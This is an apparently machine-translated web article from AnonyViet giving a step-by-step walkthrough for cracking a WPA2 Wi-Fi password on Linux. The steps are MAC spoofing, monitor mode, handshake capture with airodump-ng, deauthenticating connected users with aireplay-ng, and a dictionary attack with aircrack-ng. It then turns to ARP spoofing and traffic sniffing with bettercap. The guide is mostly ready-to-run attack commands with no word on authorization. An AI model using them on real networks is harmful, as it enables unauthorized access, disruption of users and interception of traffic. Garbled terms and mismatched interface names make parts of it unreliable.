• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

How to Hack WIFI Password Using Linux

AnonyViet by AnonyViet
January 25, 2023
in Security
0

WIFI is used everywhere from home, cafe and even public places. So everywhere is an ideal place for hackers to hack Wifi. So in this article, I will simulate the process of hackers hacking Wifi passwords using Linux for you to understand.

Join the channel Telegram of the AnonyViet 👉 Link 👈

How to hack WIFI password with Linux

Necessary tools to hack Wifi password

  1. Debian-based Linux operating system.
  2. Laptop and usb WIFI support “Monitor Mode“. You can buy this wifi usb.
  3. Tool aircrack-ng, install by command “apt install aircrack-ng“
  4. Tool to change MAC address. You can download the available tools here or read the tutorial on how to change the MAC address using python here.

Change Mac address

Each system component has a physical static location allotted by the manufacturer. This static location is called the MAC address (Media get to control). The Mac address is used to recognize other system related utilities for data transfer reasons. It would be better to change Mac address before wifi attack. We can change it using macchanger.

We need to get the interface name:

ip addr show

And change the MAC address

$ip link set wlp7s7 down
$macchanger -m DD:DD:DD:DD:DD:DD wlp7s9
$ip link set wlp7s7 up

Sniff wifi packets

All packets will be sent to us, in a normal mode called “Managed Mode”. But as a programmer we have to catch wifi packets. “Oversaw Mode” cannot capture the packet. To catch the packet, we have to change the mode to “Screen”. We will see the current mode with the command:

$iwconfig
lo        no wireless extensions.
wlp7s9    IEEE 802.11  ESSID:off/any  
Mode:Managed  Access Point: Not-Associated   Tx-Power=16 dBm

You can see we are in “Managed. So let’s change it to “Monitor” mode:

$airmon-ng start wlp7s9

Run the iwconfig command again, it will show “Mode: Monitor” and the current interface is “wlp7s9mon”.

Capture packets

Airodump-ng is a product of the Aircrack-ng group. Packet-by-packet capture can be done using parcel sniffer. We have to filter all wifi networks.

As it is now, we will catch the packet. First, we need to be aware of the number of APs (Access Points) around us:

$airodump-ng wlp7s7mon
                                        
                                                                                                                                                                            
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                            
 BB:12:FF:38:BB:88  -46        6       0    0   5  260  WPA2 CCMP   PSK  Hacked
 
 $airodump-ng --bssid BB:12:FF:38:BB:88 --channel 5--write Hacked.cap wlp7s9mon

Disconnect client

The problem is that we have to wait until a new client accesses the AP. We don’t know when someone will connect. To make the job easier, we can de-authenticate every client/user. This attack will disconnect everyone from the wifi they are on.

$aireplay-ng --deauth 100 -a BB:12:FF:38:BB:88 -c DD:DD:DD:DD:DD:DD wlp7s9mon

This command will disconnect the person from wifi access for a while and the person will reconnect soon.

Using Dictionary Attack

Time to crack the password. We only need one file “Hacked.cap-01”

To crack a password, you need a password list file to perform a dictionary attack.

$aircrack-ng Hacked.cap-01 -w Hack_Password.txt Aircrack-ng 1.5.2

We just found the password. Now we should be able to connect to wifi.

The wifi password was hacked, then what?

Once connected to the AP, we can find all the addresses associated with this network.

In case we run the command “arp – a”, at that point we will be able to see all associated MAC and IP addresses.

We can use bettercap to evaluate traffic.

./bettercap bettercap v2.26.1 (built for Linux amd64 with go1.11.6) [nhập ‘help’ để biết danh sách các lệnh]

192.168.8.0/24 > 192.168.8.4  » net.sniff on
192.168.8.0/24 > 192.168.8.4  » arp.spoof on
192.168.8.0/24 > 192.168.8.4  » [02:39:24] [net.sniff.dns] dns

We can perform some more advanced attacks after connecting to the access point like MITM . attack.

The article achieved: 5/5 – (100 votes)

Tags: HackLinuxPasswordWiFi
Previous Post

Lesson 225: Data Bars in Excel

Next Post

Lesson 226: Color Scales in Excel

AnonyViet

AnonyViet

Related Posts

How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Next Post
Lesson 226: Color Scales in Excel

Lesson 226: Color Scales in Excel

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Instructions on how to format text on the Windows 11 notepad

Instructions on how to format text on the Windows 11 notepad

August 16, 2025
Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
Online driving exam preparation: Support theory and practice

Online driving exam preparation: Support theory and practice

August 15, 2025
How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
Instructions on how to format text on the Windows 11 notepad

Instructions on how to format text on the Windows 11 notepad

August 16, 2025
Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
Online driving exam preparation: Support theory and practice

Online driving exam preparation: Support theory and practice

August 15, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Instructions on how to format text on the Windows 11 notepad

Instructions on how to format text on the Windows 11 notepad

August 16, 2025
Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply